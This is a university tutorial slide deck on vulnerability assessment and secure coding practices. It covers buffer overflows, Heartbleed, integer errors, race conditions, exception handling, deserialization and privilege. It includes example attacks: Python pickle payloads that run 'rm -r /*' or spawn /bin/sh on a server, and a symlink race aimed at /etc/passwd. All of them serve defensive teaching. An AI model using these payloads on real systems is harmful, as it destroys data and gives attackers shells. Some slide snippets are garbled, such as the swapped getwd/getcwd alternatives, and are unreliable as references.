Vulnerability Assessment and Secure Coding Practices

Secure Coding Practices (and Other Good Things)

Barton P. Miller
James A. Kupsch
Computer Sciences Department
University of Wisconsin
bart@cs.wisc.edu
kupsch@cs.wisc.edu

Elisa Heymann
Computer Architecture and Operating Systems Department
Universitat Autònoma de Barcelona
elisa@cs.wisc.edu

XSEDE’14
July 14, 2014

Who we are

Bart Miller
Jim Kupsch
Vamshi Basupalli
Josef (Bolo) Burger
Sriharsha Yerramalla

Elisa Heymann
Richard Lous

http://www.cs.wisc.edu/mist/

What do we do

• Assess Middleware: Make cloud/grid software more secure
• Train: We teach tutorials for users, developers, sys admins, and managers
• Research: Make in-depth assessments more automated and improve quality of automated code analysis

Vulnerability Assessment and Secure Coding Practices

Our History

2001: "Playing Inside the Black Box" paper, first demonstration of hijacking processes in the Cloud.
2004: First formal funding from US NSF.
2004: First assessment activity, based on Condor, and started development of our methodology (FPVA).
2006: Start of joint effort between UW and UAB.
2007: First NATO funding, jointly to UAB, UW, and Ben Gurion University.
2008: First authoritative study of automated code analysis tools.
2009: Published detailed report on our FPVA methodology.
2012: DHS Software Assurance Marketplace (SWAMP) research.

Our experience

Condor, University of Wisconsin
Batch queueing workload management system
15 vulnerabilities
600 KLOC of C and C++

SRB, SDSC
Storage Resource Broker - data grid
5 vulnerabilities
280 KLOC of C

MyProxy, NCSA
Credential Management System
5 vulnerabilities
25 KLOC of C

glExec, Nikhef
Identity mapping service
5 vulnerabilities
48 KLOC of C

Gratia Condor Probe, FNAL and Open Science Grid
Feeds Condor Usage into Gratia Accounting System
3 vulnerabilities
1.7 KLOC of Perl and Bash

Condor Quill, University of Wisconsin
DBMS Storage of Condor Operational and Historical Data
6 vulnerabilities
7.9 KLOC of C and C++

Wireshark, wireshark.org
Network Protocol Analyzer
2 vulnerabilities
2400 KLOC of C

Condor Privilege Separation, Univ. of Wisconsin
Restricted Identity Switching Module
2 vulnerabilities
21 KLOC of C and C++

VOMS Admin, INFN
Web management interface to VOMS data
4 vulnerabilities
35 KLOC of Java and PHP

CrossBroker, Universitat Autonoma de Barcelona
Resource Mgr for Parallel & Interactive Applications
4 vulnerabilities
97 KLOC of C++

ARGUS 1.2, HP, INFN, NIKHEF, SWITCH
gLite Authorization Service
0 vulnerabilities
42 KLOC of Java and C
Vulnerability Assessment and Secure Coding Practices

Our experience

- **VOMS Core, INFN**
  - 1 vulnerability
  - 161 KLOC of Bourne Shell, C++ and C

- **iRODS, DICE**
  - Data management System
  - 9 vulnerabilities (and counting)
  - 285 KLOC of C and C++

- **Google Chrome, Google**
  - Web browser
  - 1 vulnerability
  - 2396 KLOC of C and C++

- **WMS, INFN**
  - Workload Management System
  - In progress
  - 728 KLOC of Bourne Shell, C++, C, Python, Java, and Perl

- **CREAM, INFN**
  - Computing Resource Execution And Management
  - 5 vulnerabilities
  - 216 KLOC of Bourne Shell, Java, and C++

Overview

- Some basics and terminology
- Thinking like an **attacker**
  - “Owning the bits”
- Thinking like an **analyst**
  - A brief overview of in-depth vulnerability assessment
- Thinking like a **programmer/designer**
  - Secure programming techniques

What is Software Security?

- Software security means protecting software against malicious attacks and other risks.
- Security is necessary to provide availability, confidentiality, and integrity.
What is a Vulnerability?

“A vulnerability is a defect or weakness in system security procedures, design, implementation, or internal controls that can be exercised and result in a security breach or violation of security policy.”

- Gary McGraw, *Software Security*

What is a Vulnerability?

A weakness allowing a principal (e.g. a user) to gain access to or influence a system beyond the intended rights.

- Unauthorized user can gain access.
- Authorized user can:
  - gain unintended privileges – e.g. root or admin.
  - damage a system.
  - gain unintended access to data or information.
  - delete or change another user’s data.
  - impersonate another user.

What is a Weakness (or Defect or Bug)?

"Software bugs are errors, mistakes, or oversights in programs that result in unexpected and typically undesirable behavior."

- Vulnerabilities are a subset of weaknesses.
- Almost all software analysis tools find weaknesses not vulnerabilities.
What is an Exploit?

"The process of attacking a vulnerability in a program is called exploiting."

The Art of Software Security Assessment

- Exploit: The attack can come from a program or script.

What is a Threat?

"A potential cause of an incident, that may result in harm of systems and organization."

ISO 27005

"Any circumstance or event with the potential to adversely impact organizational operations (including mission, functions, image, or reputation), organizational assets, or individuals through an information system via unauthorized access, destruction, disclosure, modification of information, and/or denial of service. Also, the potential for a threat-source to successfully exploit a particular information system vulnerability."

What is a Threat?

- Threat may come from many sources:
  - External attackers.
  - Legitimate users.
  - Service providers.
  - Technical failure.
What is a Threat?

Risk factor = impact x likelihood

› New SW installed leads to security problems.
› Incident due to exploiting a vulnerability in third party SW.
› Insufficient staff to carry out security activities.
› Threats to user credentials.
› Management approving an activity which causes security problems.

What is a Threat?

› Insecure network architecture.
› Trusted staff may inadvertently release sensitive information.
› Authentication and authorization infrastructure compromised.
› Loss of essential IT services.
› Resources used for attacks to external parties.

Cost of Insufficient Security

› Attacks are expensive and affect assets:
  – Management.
  – Organization.
  – Process.
  – Information and data.
  – Software and applications.
  – Infrastructure.
Cost of Insufficient Security

- Attacks are expensive and affect assets:
  - Financial capital.
  - Reputation.
  - Intellectual property.
  - Network resources.
  - Digital identities.
  - Services.

Thinking about an Attack: Owning the Bits

“Dark Arts” and “Defense Against the Dark Arts”

Learn to Think Like an Attacker
An Exploit through the Eyes of an Attacker

*Exploit*, redefined:
- A manipulation of a program’s internal state in a way not anticipated (or desired) by the programmer.

Start at the user’s entry point to the program: the **attack surface**:
- Network input buffer
- Field in a form
- Line in an input file
- Environment variable
- Program option
- Entry in a database
- ...

**Attack surface**: the set of points in the program’s interface that can be controlled by the user.

The Path of an Attack

```c
p = requesttable;
while (p != (struct table *)0)
{
    if (p->entrytype == PEER_MEET)
    {
        found = (!(strcmp (her, p->me)) &&
                   !(strcmp (me, p->her)));
    } else if (p->entrytype == PUTSERVER)
    {
        found = !(strcmp (her, p->me));
    }
    if (found)
        return (p);
    else
        p = p->next;
}
return ((struct table *) 0);
```

An Exploit through the Eyes of an Attacker

Follow the **data and control flow** through the program, observing what state you can control:
- Control flow: what branching and calling paths are affected by the data originating at the attack surface?
- Data flow: what variables have all or part of their value determined by data originating at the attack surface?

Sometimes it’s a combination:
```c
if (inputbuffer[1] == 'a')
    val = 3;
else
    val = 25;
```

*val* is dependent on *inputbuffer[1]* even though it’s not directly assigned.
Vulnerability Assessment and Secure Coding Practices

The Path of an Attack

An Exploit through the Eyes of an Attacker

The goal is to end up at points in the program where the attacker can override the intended purpose. These points are the impact surface:
- Unconstrained execution (e.g., exec’ing a shell)
- Privilege escalation
- Inappropriate access to a resource
- Acting as an imposter
- Forwarding an attack
- Revealing confidential information
- …
Vulnerability Assessment and Secure Coding Practices

The Classic: A Stack Smash

```c
int foo()
{
    char buffer[100];
    int i, j;
    ...
    gets(buffer);
    ...
    jmp <evil addr>
}```

An Exploit through the Eyes of an Attacker

The stack smashing example is a simple and obvious one:

- The input directly modified the target internal state...
  ... no dependence on complex control or data flows.
- The attacker owned all the target bits, so had complete control over the destination address.
- No randomization
- No internal consistency checks
- No modern OS memory protection
- No timing issues or races

Evaluation: Finding Bits to Own

So, how do you find vulnerabilities in the face of these complexities?

- Complex flows:
  - Taint analysis: execute program in special simulation that tracks data from input buffers through execution, marking all the data and control-flow decisions affected by the data.
  - Fuzz testing: using unstructured or partially structured random input to try to crash the program.

Reliability is the foundation of security.

We’ll talk more about fuzzing towards the end of the class.

- Randomness:
  - Repeated attempts: Sometimes patience is all that you need.
  - Grooming: A sequence of operations that bring the program to a known state, e.g.,
    - Cause a library to be loaded at a known address.
    - Cause the heap to start allocating at a known address.
    - Heap sprays: repeated patterns of code/data written to the heap so that at least one copy is in a useful place.
Thinking Like an Analyst

Things That We All Know

› All software has **vulnerabilities**.
› Critical infrastructure software is **complex and large**.
› Vulnerabilities can be exploited by both authorized users and by outsiders.

Key Issues for Security

› Need **independent** assessment
  – Software engineers have long known that testing groups must be independent of development groups
› Need an assessment process that is **NOT based on known vulnerabilities**
  – Such approaches will not find new types and variations of attacks
Vulnerability Assessment and
Secure Coding Practices

Key Issues for Security
› Automated Analysis Tools have Serious Limitations:
  – While they help find some local errors, they
    • MISS significant vulnerabilities (false negatives)
    • Produce voluminous reports (false positives)
› Programmers must be security-aware
  – Designing for security and the use of secure practices and standards does not guarantee security.

Addressing these Issues
› We must evaluate the security of our code
  – The vulnerabilities are there and we want to find them first.
› Assessment isn’t cheap
  – Automated tools create an illusion of security.
› You can’t take shortcuts
  – Even if the development team is good at testing, they can’t do an effective assessment of their own code.

Addressing these Issues
› Try First Principles Vulnerability Assessment
  – A strategy that focuses on critical resources.
  – A strategy that is not based on known vulnerabilities.
› We need to integrate assessment and remediation into the software development process.
  – We have to be prepared to respond to the vulnerabilities we find.
First Principles Vulnerability Assessment
Understanding the System

Step 1: Architectural Analysis
- Functionality and structure of the system, major components (modules, threads, processes), communication channels.
- Interactions among components and with users.

Step 2: Resource Identification
- Key resources accessed by each component.
- Operations allowed on those resources.

Step 3: Trust & Privilege Analysis
- How components are protected and who can access them.
- Privilege level at which each component runs.
- Trust delegation.
First Principles Vulnerability Assessment

Step 2: Resource Identification

Switchboard
Condor Libaries
Operational Data & Run-time Config Files
Condor Binaries
Procd Named Pipes
Procd Log Files
Condor Log files
User 1 dir User N dir
...
execute Job Execution root directory
OS privileges condor user 1 root user N
Condor Config Files

Search for Vulnerabilities

Step 4: Component Evaluation

- Examine critical components in depth.
- Guide search using:
  - Diagrams from steps 1-3.
  - Knowledge of vulnerabilities.
- Helped by Automated scanning tools (!)

Taking Actions

Step 5: Dissemination of Results

- Report vulnerabilities.
- Interaction with developers.
- Disclosure of vulnerabilities.
Vulnerability Assessment and Secure Coding Practices

First Principles Vulnerability Assessment
Taking Actions
Step 5: Dissemination of Results

Secure Programming: Roadmap
- Introduction
- Handling errors
- Pointers and Strings
- Numeric Errors
- Race Conditions
- Exceptions
- Privilege, Sandboxing and Environment
- Injection Attacks
- Web Attacks
- Bad things

Discussion of the Practices
- Description of vulnerability
- Signs of presence in the code
- Mitigations
- Safer alternatives
Pointers and Strings

Buffer Overflows


1. Improper Neutralization of Special Elements used in an SQL Command (‘SQL Injection’)
2. Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
3. Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)
4. Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
5. Missing Authentication for Critical Function
6. Missing Authorization
7. Use of Hard-coded Credentials
8. Missing Encryption of Sensitive Data
9. Unrestricted Upload of File with Dangerous Type
10. Reliance on Untrusted Inputs in a Security Decision

Buffer Overflows

• Description
  – Accessing locations of a buffer outside the boundaries of the buffer

• Common causes
  – C-style strings
  – Array access and pointer arithmetic in languages without bounds checking
  – Off by one errors
  – Fixed large buffer sizes (make it big and hope)
  – Decoupled buffer pointer and its size
    • If size unknown overflows are impossible to detect
    • Require synchronization between the two
    • Ok if size is implicitly known and every use knows it (hard)
Why Buffer Overflows are Dangerous

- An overflow overwrites memory adjacent to a buffer
- This memory could be
  - Unused
  - Code
  - Program data that can affect operations
  - Internal data used by the runtime system
- Common result is a crash
- Specially crafted values can be used for an attack

Buffer Overflow of User Data Affecting Flow of Control

```c
char id[8];
int validId = 0;  /* not valid */
gets(id);  /* reads "evillogin"*/
/* validId is now 110 decimal */
if (IsValid(id)) validId = 1;  /* not true */
if (validId)  /* is true */
    {DoPrivilegedOp();}  /* gets executed */
```

Buffer Overflow Danger Signs: Missing Buffer Size

- `gets`, `getpass`, `getwd`, and `scanf` family (with `%s` or `[...]` specifiers without width)
  - Impossible to use correctly: size comes solely from user input
  - Alternatives:

<table>
<thead>
<tr>
<th>Unsafe</th>
<th>Safer</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(s)</code></td>
<td><code>fgets(s, slen, stdin)</code></td>
</tr>
<tr>
<td><code>getcwd(s)</code></td>
<td><code>getwd(s, slen)</code></td>
</tr>
<tr>
<td><code>scanf(&quot;%s&quot;, s)</code></td>
<td><code>scanf(&quot;%100s&quot;, s)</code></td>
</tr>
</tbody>
</table>
**Vulnerability Assessment and Secure Coding Practices**

### strcat, strcpy, sprintf, vsprintf

- Impossible for function to detect overflow
  - Destination buffer size not passed
- Difficult to use safely w/o pre-checks
  - Checks require destination buffer size
  - Length of data formatted by printf
  - Difficult & error prone
  - Best incorporated in a safe replacement function

**Proper usage: concat s1, s2 into dst**

```c
if (dstSize < strlen(s1) + strlen(s2) + 1)
    {ERROR("buffer overflow");}
strcpy(dst, s1);
strcat(dst, s2);
```

### Buffer Overflow Danger Signs: Difficult to Use and Truncation

- **strncat(dst, src, n)**
  - `n` is the maximum number of chars of `src` to append (trailing null also appended)
  - **can overflow if** `n >= (dstSize-strlen(dst))`
- **strncpy(dst, src, n)**
  - Writes `n` chars into `dst`, if `strlen(src)<n`, it fills the other `n-strlen(src)` chars with 0's
  - If `strlen(src)>=n`, `dst` is not null terminated
- Truncation detection not provided
- Deceptively insecure
  - Feels safer but requires same careful use as `strcat`

### Safer String Handling: C-library functions

- **snprintf(buf, bufSize, fmt, ...)** and **vsnprintf**
  - Returns number of bytes, not including \0 that would've been written.
  - Truncation detection possible
    - (`result >= bufSize` implies truncation)
  - Use as safer version of `strcpy` and `strcat`

**Proper usage: concat s1, s2 into dst**

```c
r = snprintf(dst, dstSize, "%s%s", s1, s2);
if (r >= dstSize)
    {ERROR("truncation");}
```
Attacks on Code Pointers

- Stack Smashing is an example
- There are many more pointers to functions or addresses in code
  - Dispatch tables for libraries
  - Return addresses
  - Function pointers in code
  - C++ vtables
  - jmp_buf
  - atexit
  - Exception handling run-time
  - Internal heap run-time data structures

Buffer Overflow of a User Pointer

```c++
{ char id[8];
  int (*logFunc)(char*) = MyLogger;

  id
  logFunc

  gets(id); /* reads "evilguyx" */

  logFunc(userMsg);

  /* equivalent to system(userMsg) */
  logFunc(userMsg);
```

Buffer Overflow Danger Signs:

- `unsafe`
  - Unverifiable code.
  - Compiled with `/unsafe` flag.

```c
unsafe static void SquarePtrParam(int* p) {
  *p *= *p;
}

unsafe static void Main() {
  int i = 5;
  SquarePtrParam(&i); // call to unsafe method
  Console.WriteLine(i);
}
```
Vulnerability Assessment and Secure Coding Practices

**Buffer Overflow**

Some people believe that buffer overflows are ancient history …

**Heartbleed:**

- Failure of the OpenSSL library to validate the length field (as compared to the size of the actual message).
- The heartbeat protocol is supposed to echo back the data sent in the request where the amount is given by the payload length.
- Since the length field is not checked, `memcpy` can read up to 64KB of memory.

```c
memcpy(bp, pl, payload);
```

Destination. Allocated, used, and freed.  OK.
Source. Buffer with the heartbeat record. Untrusted source. Improperly used.

… but they would be wrong.

**Validation to remediate Heartbleed**

Read type and payload length

```c
if ((1+2+payload+16)>InputLength)
    return 0 // silently discard
```
Vulnerability Assessment and Secure Coding Practices

Numeric Errors

Integer Vulnerabilities

- **Description**
  - Many programming languages allow silent loss of integer data without warning due to
    - Overflow
    - Truncation
    - Signed vs. unsigned representations
  - Code may be secure on one platform, but silently vulnerable on another, due to different underlying integer types.

- **General causes**
  - Not checking for overflow
  - Mixing integer types of different ranges
  - Mixing unsigned and signed integers
Vulnerability Assessment and Secure Coding Practices

**Integer Danger Signs**
- Mixing signed and unsigned integers
- Converting to a smaller integer
- Using a built-in type instead of the API's typedef type
- However built-ins can be problematic too: `size_t` is unsigned, `ptrdiff_t` is signed
- Assigning values to a variable of the correct type before data validation (range/size check)

**Numeric Parsing Unreported Errors**
- `atoi`, `atol`, `atof`, `scanf` family (with `%u`, `%i`, `%d`, `%x` and `%o` specifiers)
  - Out of range values results in unspecified behavior
  - Non-numeric input returns 0
- Use `strtol`, `strtoul`, `strtol`, `strtoull`, `strtof`, `strtod`, `strtol` which allow error detection

**Numeric Error**
- `unchecked` to bypass integer overflow control.

```c
const int x = 2147483647;  // Max int
const int y = 2;
static void UnCheckedMethod() {
    int z;
    unchecked {
        z = x * y;
    }
    Console.WriteLine("Unchecked output value: {0}", z);
}
```

[Link to Microsoft documentation]
Vulnerability Assessment and Secure Coding Practices

**Numeric Error Mitigation**

- **checked** to control integer overflow.

```csharp
static short x = 32767; // Max short value
static short y = 32767;

static int CheckedMethod() {
    int z = 0;
    try {
        z = checked((short)(x + y));
    } catch (System.OverflowException e) {
        Console.WriteLine(e.ToString());
    }
    return z;
}
```

**Integer Mitigations**

- Use correct types, before validation
- Validate range of data
- Add code to check for overflow, or use safe integer libraries or large integer libraries
- Not mixing signed and unsigned integers in a computation
- Compiler options for signed integer run-time exceptions, and integer warnings
- Use `strtol`, `strtoul`, `strtoll`, `strtoull`, `strtof`, `strtod`, `strtol`, which allow error detection

**The Cost of Not Checking…**

4 Jun 1996: An unchecked 64 bit floating point number assigned to a 16 bit integer

Cost: Development cost: $7 billion
Lost rocket and payload $500 million
Race Conditions

• Description
  – A race condition occurs when multiple threads of control try to perform a non-atomic operation on a shared object, such as
    • Multithreaded applications accessing shared data
    • Accessing external shared resources such as the file system

• General causes
  – Threads or signal handlers without proper synchronization
  – Non-reentrant functions (may have shared variables)
  – Performing non-atomic sequences of operations on shared resources (file system, shared memory) and assuming they are atomic

Race Condition on Data

• A program contains a data race if two threads simultaneously access the same variable, where at least one of these accesses is a write.
• Programs need to be race free to be safe.
Vulnerability Assessment and Secure Coding Practices

Successful Race Condition Attack

```java
void TransFunds(Account srcAcct, Account dstAcct, int xfrAmt)
{
    if (xfrAmt < 0)
        FatalError();
    srcAcct = srcAcct.getBal();
    if (srcAcct - xfrAmt < 0)
        FatalError();
    srcAcct.setBal(srcAcct - xfrAmt);
    dstAcct.setBal(dstAcct.getBal() + xfrAmt);
}
```

<table>
<thead>
<tr>
<th>Thread 1</th>
<th>Thread 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>XfrFunds(Bob, Ian, 100)</td>
<td>XfrFunds(Bob, Ian, 100)</td>
</tr>
<tr>
<td>srcAcct = 100</td>
<td>srcAcct = 100</td>
</tr>
<tr>
<td>srcAcct - 100 &lt; 0?</td>
<td>srcAcct - 100 &lt; 0?</td>
</tr>
<tr>
<td>srcAcct.setBal(100 - 100)</td>
<td>srcAcct.setBal(100 - 100)</td>
</tr>
<tr>
<td>dst.setBal(0 + 100)</td>
<td>dst.setBal(0 + 100)</td>
</tr>
</tbody>
</table>

Mitigated Race Condition Attack

```java
public void TransFunds(Account srcAcct, Account dstAcct, int xfrAmt)
{
    if (xfrAmt < 0)
        FatalError();
    synchronized(srcAcct) {
        int srcAcct = srcAcct.getBal();
        if (srcAcct - xfrAmt < 0)
            FatalError();
        srcAcct.setBal(srcAcct - xfrAmt);
    }
    synchronized(dstAcct) {
        dstAcct.setBal(dstAcct.getBal() + xfrAmt);
    }
}
```

<table>
<thead>
<tr>
<th>Thread 1</th>
<th>Thread 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>XfrFunds(Bob, Ian, 100)</td>
<td>XfrFunds(Bob, Ian, 100)</td>
</tr>
<tr>
<td>srcAcct = 100</td>
<td>srcAcct = 100</td>
</tr>
<tr>
<td>srcAcct - 100 &lt; 0?</td>
<td>srcAcct - 100 &lt; 0?</td>
</tr>
<tr>
<td>srcAcct.setBal(100 - 100)</td>
<td>srcAcct.setBal(100 - 100)</td>
</tr>
<tr>
<td>dst.setBal(0 + 100)</td>
<td>dst.setBal(0 + 100)</td>
</tr>
</tbody>
</table>

Mitigated Race Condition Attack

```java
public void TransFunds(Account srcAcct, Account dstAcct, int xfrAmt)
{
    if (xfrAmt < 0)
        FatalError();
    lock(srcAcct) {
        int srcAcct = srcAcct.getBal();
        if (srcAcct - xfrAmt < 0)
            FatalError();
        srcAcct.setBal(srcAcct - xfrAmt);
    }
    lock(dstAcct) {
        dstAcct.setBal(dstAcct.getBal() + xfrAmt);
    }
}
```

<table>
<thead>
<tr>
<th>Thread 1</th>
<th>Thread 2</th>
</tr>
</thead>
<tbody>
<tr>
<td>XfrFunds(Bob, Ian, 100)</td>
<td>XfrFunds(Bob, Ian, 100)</td>
</tr>
<tr>
<td>srcAcct = 100</td>
<td>srcAcct = 100</td>
</tr>
<tr>
<td>srcAcct - 100 &lt; 0?</td>
<td>srcAcct - 100 &lt; 0?</td>
</tr>
<tr>
<td>srcAcct.setBal(100 - 100)</td>
<td>srcAcct.setBal(100 - 100)</td>
</tr>
<tr>
<td>dst.setBal(0 + 100)</td>
<td>dst.setBal(0 + 100)</td>
</tr>
</tbody>
</table>
**File System Race Conditions**

- A file system maps a path name of a file or other object in the file system, to the internal identifier (device and inode).
- If an attacker can control any component of the path, multiple uses of a path can result in different file system objects.
- Safe use of path:
  - eliminate race condition
  - use file descriptor for all other uses
  - verify multiple uses are consistent

**File System Race Examples**

- Check properties of a file then open
  - **Bad:** `access` or `stat` → `open`
  - **Safe:** `open` → `fstat`
- Create file if it doesn’t exist
  - **Bad:** if `stat` fails → `creat(fn, mode)`
  - **Safe:** `open(fn, O_CREAT|O_EXCL, mode)`
  - Never use `O_CREAT` without `O_EXCL`
  - Better still use safefile library

**Race Condition File Attributes**

- Using the path to create or open a file and then using the same path to change the ownership or mode of the file
  - Best to create the file with the correct owner group and mode at creation
  - Otherwise the file should be created with restricted permissions and then changed to less restrictive using `fchown` and `fchmod`
  - If created with lax permissions there is a race condition between the attacker opening the file and permissions being changed
Vulnerability Assessment and Secure Coding Practices

Race Condition Saving Directory and Returning

- There is a need to save the current working directory, `chdir` somewhere else, and `chdir` back to original directory
- Insecure pattern is to use `getwd`, and `chdir` to value returned
  - `getwd` could fail
  - Path not guaranteed to be the same directory
- Safe method is get a file descriptor to the directory and to use `fchdir` to go back
  ```
savedDir = open(".", O_RDONLY);  
chdir(newDir);  
... Do work ...  
fchdir(savedDir);  
```

Race Condition Temporary Files

- `mktemp`, `tmpnam`, or `tempnam`, then `open`
  - Return filename that does not exist
  - a race condition exists if `O_EXCL` is not used
- Use `mkstemp` which returns the filename and a file descriptor to the opened file (use `umask` to restrict privileges)
- To create a directory use `mkdtemp` if available or the following:
  ```
  for (int j = 0; j < 10; ++j) {
    strcpy(path, template);  
    if (mktemp(path) == NULL) {ERROR("mktemp failed");}
    if (mkdir(path) != -1 || errno != EEXIST) {
      break;
    }
  }
  ```

Race Condition Examples

- Your Actions
  ```
  s = strdup("/tmp/zXXXXXX")  
  tempnam(s)  
  // s now "/tmp/zRANDOM"  
  f = fopen(s, "w+")  
  // writes now update  
  // /etc/passwd
  ```
- Attackers Action
  ```
  link = "/etc/passwd"  
  file = "/tmp/zRANDOM"  
  symlink(link, file)
  ```
- Safe Version
  ```
  fd = mkstemp(s)  
  f = fdopen(fd, "w+")
  ```
Exceptions

Exception Vulnerabilities

- **Exception** are a nonlocal control flow mechanism, usually used to propagate error conditions in languages such as Java and C++.

```java
try {
    // code that generates exception
} catch (Exception e) {
    // perform cleanup and error recovery
}
```

- **Common Vulnerabilities** include:
  - **Ignoring** (program terminates)
  - **Suppression** (catch, but do not handled)
  - **Information leaks** (sensitive information in error messages)

Proper Use of Exceptions

- **Add proper exception handling**
  - **Handle expected exceptions** (i.e. check for errors)
  - **Don't suppress**:
    - Do not catch just to make them go away
    - Recover from the error or rethrow exception
  - **Include top level exception handler** to avoid exiting: catch, log, and restart
- **Do not disclose sensitive information in messages**
  - Only report non-sensitive data
  - Log sensitive data to secure store, return id of data
  - Don't report unnecessary sensitive internal state
    - Stack traces
    - Variable values
    - Configuration data
Vulnerability Assessment and Secure Coding Practices

**Exception Suppression**

1. User sends malicious data

```java
boolean Login(String user, String pwd)
{
  boolean loggedIn = true;
  String realPwd = GetPwdFromDb(user);
  try {
    if (!GetMd5(pwd).equals(realPwd))
    {
      loggedIn = false;
    }
  } catch (Exception e) {
    //this can not happen, ignore
  }
  return loggedIn;
}
```

User: admin, pwd: null

2. System grants access

Login() returns true

**Unusual or Exceptional Conditions Mitigation**

1. User sends malicious data

```java
boolean Login(String user, String pwd)
{
  boolean loggedIn = true;
  String realPwd = GetPwdFromDb(user);
  try {
    if (!GetMd5(pwd).equals(realPwd))
    {
      loggedIn = false;
    }
  } catch (Exception e) {
    loggedIn = false;
  }
  return loggedIn;
}
```

User: admin, pwd: null

2. System does not grant access

Login() returns false

**WTMI (Way Too Much Info)**

```java
Login(… user, … pwd) {
  try {
    ValidatePwd(… user, … pwd);
  } catch (Exception e) {
    print("Login failed.
");
    e.printStackTrace();
    return;
  }
}
```

User exists, Entered pwd

Login failed,
BadPwd: user=bob pwd=x, expected=password
BadPwd: at Auth.ValidatePwd (Auth.java:92)
at Auth.Login (Auth.java:197)
com:foo:BadFramework(BadFramework.java:71)

User's actual password ?? (passwords aren't hashed)

Reveals internal structure (libraries used, call structure, version information)
Vulnerability Assessment and Secure Coding Practices

**WTMI (Way Too Much Info)**

```ruby
#!/usr/bin/ruby

def ValidatePwd(user, password)
  if wrong password
    raise "Bad passwd for user #{user} expected #{password}"
  end
end
def Login(user, password)
  ValidatePwd(user, password);
  rescue Exception => e
    puts "Login failed";
    puts e.message
    puts e.backtrace.inspect
end
Login failed.
Bad password for user Elisa expected pwd
["./test3:4:in `ValidatePwd', ./test3:8:in `Login', ./test3:15"]

User exists
Reveals internal structure
```

**The Right Amount of Information**

```java
Login { try {
  ValidatePwd(user, pwd);
} catch (Exception e) {
  logId = LogError(e); // write exception and return log ID.
  print("Login failed, username or password is invalid \n");
  print("Contact support referencing problem id " + logId + " if the problem persists\n");
  return;
}
void ValidatePwd( user, pwd) throws BadUser, BadPwd {
  realPwdHash = GetPwdHashFromDb(user)
  if (realPwdHash == null)
    throw BadUser("user=" + HashUser(user));
  if (!HashPwd(user, pwd).equals(realPwdHash))
    throw BadPwdExcept("user=" + HashUser(user));
}
```

**Serialization**
Data Serialization Problem

Data Serialization

Data serialization

- Protocol for converting objects into a stream of bytes to be:
  - Stored in a file.
  - Transmitted across a network.
- The serialized form contains sufficient information to restore the original object.
Vulnerability Assessment and Secure Coding Practices

Data serialization

<table>
<thead>
<tr>
<th>Language</th>
<th>Serializing</th>
<th>Deserializing</th>
</tr>
</thead>
<tbody>
<tr>
<td>Java</td>
<td>Method: <code>writeObject()</code></td>
<td>Method: <code>readObject()</code></td>
</tr>
<tr>
<td></td>
<td>Implemented in: <code>ObjectOutputStream</code></td>
<td>Implemented in: <code>ObjectInputStream</code></td>
</tr>
<tr>
<td>Python</td>
<td><code>pickle.dump(...)</code></td>
<td><code>pickle.loads(...)</code></td>
</tr>
<tr>
<td>Ruby</td>
<td><code>Marshal.dump(...)</code></td>
<td><code>Marshal.load(...)</code></td>
</tr>
<tr>
<td>C++ – Boost</td>
<td>boost::archive::text_ostream &amp; na &lt;&lt; data;</td>
<td>boost::archive::text_istream &amp; ia &gt;&gt; newdata;</td>
</tr>
<tr>
<td></td>
<td>Invokes the <code>serialize()</code> member class.</td>
<td>Invokes the <code>deserialize()</code> member class.</td>
</tr>
<tr>
<td>MFC – Microsoft</td>
<td>MFC – Microsoft Foundation Class</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• Derive your Class from <code>CObject</code>.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• Override the <code>Serialize</code> Member Function.</td>
<td></td>
</tr>
<tr>
<td></td>
<td>• IsStoring() indicates if <code>Serialize</code> is storing or loading data.</td>
<td></td>
</tr>
</tbody>
</table>

Data serialization – Risks
- Trusting serialized data with questionable provenance
  - Attack to the integrity of serialized data.
  - Deserializing data received from an external source (untrusted or unauthenticated).

Data serialization – Result
- Correctness errors
- Corrupting objects by deserializing untrusted data.
- Security problems.

Successful Command Injection Attack via Serialization

1. Client pickles malicious data

```python
class payload(object):
    def __reduce__(self):
        return (os.system, ('rm -r /*',),)

payload = pickle.dumps(payload())
```

2. Server unpickles random data

```python
line = skt.recv(1024)
obj = pickle.loads(line)
```

3. Server executes `rm -r /*`
Successful Command Injection Attack via Serialization

1. Client pickles malicious data

```python
class payload(object):
    def __reduce__(self):
        return (subprocess.Popen, ('/bin/sh',),)
payload = pickle.dumps(payload())
soc.send(payload)
```

2. Server unpickles random data

```python
line = soc.recv(1024)
obj = pickle.loads(line)
```

3. Server executes `/bin/sh`

Serialization. Remediation

- Prevent serialization if possible, especially of sensitive data.
- Write a class-specific serialization method which does not write sensitive fields to the serialization stream.
- Do not serialize untrusted data.
- Serialized data should be stored securely, protected or encrypted.
- Sanitize deserialized data in a temporal object.
- Deserialized data should be treated as untrusted input.

Layered, onion-like trust model. The more you do, the more secure you are.

Privilege, Sandboxing, and Environment
Not Dropping Privilege

• **Description**
  – When a program running with a privileged status (running as root for instance), creates a process or tries to access resources as another user

• **General causes**
  – Running with elevated privilege
  – Not dropping all inheritable process attributes such as uid, gid, euid, egid, supplementary groups, open file descriptors, root directory, working directory
  – not setting close-on-exec on sensitive file descriptors

---

Not Dropping Privilege: `chroot`

• `chroot` changes the root directory for the process, files outside cannot be accessed
• Only root can use `chroot`
• `chdir` needs to follow `chroot`, otherwise relative pathnames are not restricted
• Need to recreate all support files used by program in new root: `/etc`, libraries, ...
  Makes `chroot` difficult to use.

---

Trusted Directory

• A trusted directory is one where only trusted users can update the contents of anything in the directory or any of its ancestors all the way to the root
• A trusted path needs to check all components of the path including symbolic links referents for trust
• A trusted path is immune to TOCTOU attacks from untrusted users
• This is extremely tricky to get right!
• `safefile` library
  – Determines trust based on trusted users & groups
Directory Traversal

• Description
  – When user data is used to create a pathname to a file system object that is supposed to be restricted to a particular set of paths or path prefixes, but which the user can circumvent

• General causes
  – Not checking for path components that are empty, "." or ".."
  – Not creating the canonical form of the pathname (there is an infinite number of distinct strings for the same object)
  – Not accounting for symbolic links

Directory Traversal Mitigation

• Use `realpath` or something similar to create canonical pathnames
• Use the canonical pathname when comparing filenames or prefixes
• If using prefix matching to check if a path is within directory tree, also check that the next character in the path is the directory separator or `\0`

Directory Traversal (Path Injection)

